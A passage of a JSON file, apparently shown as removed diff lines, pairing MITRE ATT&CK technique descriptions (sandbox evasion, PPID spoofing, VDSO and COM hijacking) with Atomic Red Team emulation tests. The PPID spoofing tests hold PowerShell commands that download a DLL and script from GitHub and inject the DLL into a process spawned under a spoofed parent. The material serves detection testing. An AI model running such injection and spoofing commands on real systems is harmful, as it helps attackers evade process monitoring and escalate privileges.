"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1497.002", - "url": "https://attack.mitre.org/techniques/T1497/002" - }, - { - "source_name": "Deloitte Environment Awareness", - "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", - "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021." - }, - { - "source_name": "Sans Virtual Jan 2016", - "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667", - "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019." - }, - { - "source_name": "Unit 42 Sofacy Nov 2018", - "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019." - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", - "source_name": "FireEye FIN7 April 2017" - } - ], - "modified": "2021-10-18T14:57:48.362Z", - "name": "User Activity Based Checks", - "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Process: OS API Execution", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Static File Analysis", - "Signature-based detection", - "Host forensic analysis" - ] - }, - "atomic_tests": [] - }, - "T1134.004": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Wayne Silva, F-Secure Countercept" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", - "created": "2020-02-18T18:22:41.448Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.004", - "url": "https://attack.mitre.org/techniques/T1134/004" - }, - { - "source_name": "XPNSec PPID Nov 2017", - "url": "https://blog.xpnsec.com/becoming-system/", - "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019." - }, - { - "source_name": "CounterCept PPID Spoofing Dec 2018", - "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", - "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019." - }, - { - "source_name": "Microsoft UAC Nov 2018", - "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", - "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019." - }, - { - "source_name": "Microsoft Process Creation Flags May 2018", - "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", - "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019." - }, - { - "source_name": "Secuirtyinbits Ataware3 May 2019", - "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", - "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019." - }, - { - "source_name": "DidierStevens SelectMyParent Nov 2009", - "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", - "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019." - }, - { - "source_name": "CTD PPID Spoofing Macro Mar 2019", - "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", - "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", - "modified": "2022-05-03T02:15:42.360Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Access Token Manipulation: Parent PID Spoofing", - "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Metadata", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Heuristic Detection", - "Host Forensic Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1134.004" - }, - "atomic_tests": [ - { - "name": "Parent PID Spoofing using PowerShell", - "auto_generated_guid": "069258f4-2162-46e9-9a25-c9c6c56150d2", - "description": "This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "parent_process_name": { - "description": "Name of the parent process", - "type": "string", - "default": "explorer" - }, - "spawnto_process_path": { - "description": "Path of the process to spawn", - "type": "path", - "default": "C:\\Program Files\\Internet Explorer\\iexplore.exe" - }, - "dll_process_name": { - "description": "Name of the created process from the injected dll", - "type": "string", - "default": "calculator" - }, - "dll_path": { - "description": "Path of the dll to inject", - "type": "path", - "default": "PathToAtomicsFolder\\T1134.004\\bin\\calc.dll" - }, - "spawnto_process_name": { - "description": "Name of the process to spawn", - "type": "string", - "default": "iexplore" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL to inject must exist on disk at specified location (#{dll_path})\n", - "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"#{dll_path}\"\n" - }, - { - "description": "PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n", - "prereq_command": "if (Test-Path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n" - } - ], - "executor": { - "command": ". $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n", - "cleanup_command": "Stop-Process -Name \"#{dll_process_name}\" -ErrorAction Ignore\nStop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from Current Process", - "auto_generated_guid": "14920ebd-1d61-491a-85e0-fe98efe37f25", - "description": "Spawns a powershell.exe process as a child of the current process.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "File path or name of process to spawn", - "type": "path", - "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "parent_pid": { - "description": "PID of process to spawn from", - "type": "string", - "default": "$PID" - }, - "command_line": { - "description": "Specified command line to use", - "type": "string", - "default": "-Command Start-Sleep 10" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from Specified Process", - "auto_generated_guid": "cbbff285-9051-444a-9d17-c07cd2d230eb", - "description": "Spawns a notepad.exe process as a child of the current process.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "parent_pid": { - "description": "PID of process to spawn from", - "type": "string", - "default": "$PID" - }, - "test_guid": { - "description": "Defined test GUID", - "type": "string", - "default": "12345678-1234-1234-1234-123456789123" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from svchost.exe", - "auto_generated_guid": "e9f2b777-3123-430b-805d-5cedc66ab591", - "description": "Spawnd a process as a child of the first accessible svchost.exe process.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line": { - "description": "Specified command line to use", - "type": "string", - "default": "-Command Start-Sleep 10" - }, - "file_path": { - "description": "File path or name of process to spawn", - "type": "path", - "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'", - "name": "powershell" - } - }, - { - "name": "Parent PID Spoofing - Spawn from New Process", - "auto_generated_guid": "2988133e-561c-4e42-a15f-6281e6a9b2db", - "description": "Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_line": { - "description": "Specified command line to use", - "type": "string", - "default": "-Command Start-Sleep 10" - }, - "file_path": { - "description": "File path or name of process to spawn", - "type": "path", - "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "parent_name": { - "description": "Parent process to spoof from", - "type": "path", - "default": "$Env:windir\\System32\\notepad.exe" - } - }, - "dependencies": [ - { - "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.", - "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}", - "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n" - } - ], - "executor": { - "command": "Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'", - "name": "powershell" - } - } - ] - }, - "T1055.014": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5", - "type": "attack-pattern", - "created": "2020-01-14T01:35:00.781Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.014", - "url": "https://attack.mitre.org/techniques/T1055/014" - }, - { - "source_name": "ELF Injection May 2009", - "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html", - "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020." - }, - { - "source_name": "Backtrace VDSO", - "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/", - "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020." - }, - { - "source_name": "VDSO Aug 2005", - "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/", - "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020." - }, - { - "source_name": "Syscall 2014", - "url": "https://lwn.net/Articles/604515/", - "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020." - }, - { - "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", - "source_name": "ArtOfMemoryForensics" - }, - { - "url": "https://www.gnu.org/software/acct/", - "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", - "source_name": "GNU Acct" - }, - { - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", - "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", - "source_name": "RHEL auditd" - }, - { - "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", - "source_name": "Chokepoint preload rootkits" - } - ], - "modified": "2022-02-24T15:21:39.761Z", - "name": "VDSO Hijacking", - "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Module: Module Load" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1122": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "ENDGAME" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", - "type": "attack-pattern", - "created": "2017-05-31T21:31:33.979Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1122", - "url": "https://attack.mitre.org/techniques/T1122" - }, - { - "url": "https://msdn.microsoft.com/library/ms694363.aspx", - "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", - "source_name": "Microsoft Component Object Model" - }, - { - "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", - "source_name": "GDATA COM Hijacking" - }, - { - "source_name": "Elastic COM Hijacking", - "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", - "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" - } - ], - "modified": "2020-11-10T18:19:44.725Z", - "name": "Component Object Model Hijacking", - "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Autoruns Analysis" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1502": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Wayne Silva, F-Secure Countercept" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", - "type": "attack-pattern", - "created": "2019-06-03T14:50:50.613Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1502", - "url": "https://attack.mitre.org/techniques/T1502" - }, - { - "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", - "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/", - "source_name": "DidierStevens SelectMyParent Nov 2009" - }, - { - "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.", - "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works", - "source_name": "Microsoft UAC Nov 2018" - }, - { - "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", - "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/", - "source_name": "CounterCept PPID Spoofing Dec 2018" - }, - { - "source_name": "CTD PPID Spoofing Macro Mar 2019", - "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", - "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019." - }, - { - "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.", - "url": "https://blog.xpnsec.com/becoming-system/", - "source_name": "XPNSec PPID Nov 2017" - }, - { - "source_name": "Microsoft Process Creation Flags May 2018", - "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags", - "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019." - }, - { - "source_name": "Secuirtyinbits Ataware3 May 2019", - "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3", - "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019." - } - ], - "modified": "2020-02-18T18:23:31.546Z", - "name": "Parent PID Spoofing", - "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "privilege-escalation", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Host forensic analysis", - "Heuristic Detection" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1574.010": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", - "type": "attack-pattern", - "created": "2020-03-12T20:43:53.998Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.010", - "url": "https://attack.mitre.org/techniques/T1574/010" - }, - { - "external_id": "CAPEC-17", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/17.html" - } - ], - "modified": "2020-09-16T19:10:04.262Z", - "name": "Services File Permissions Weakness", - "description": "Adversaries may execute their own malicious payloads by hijacking 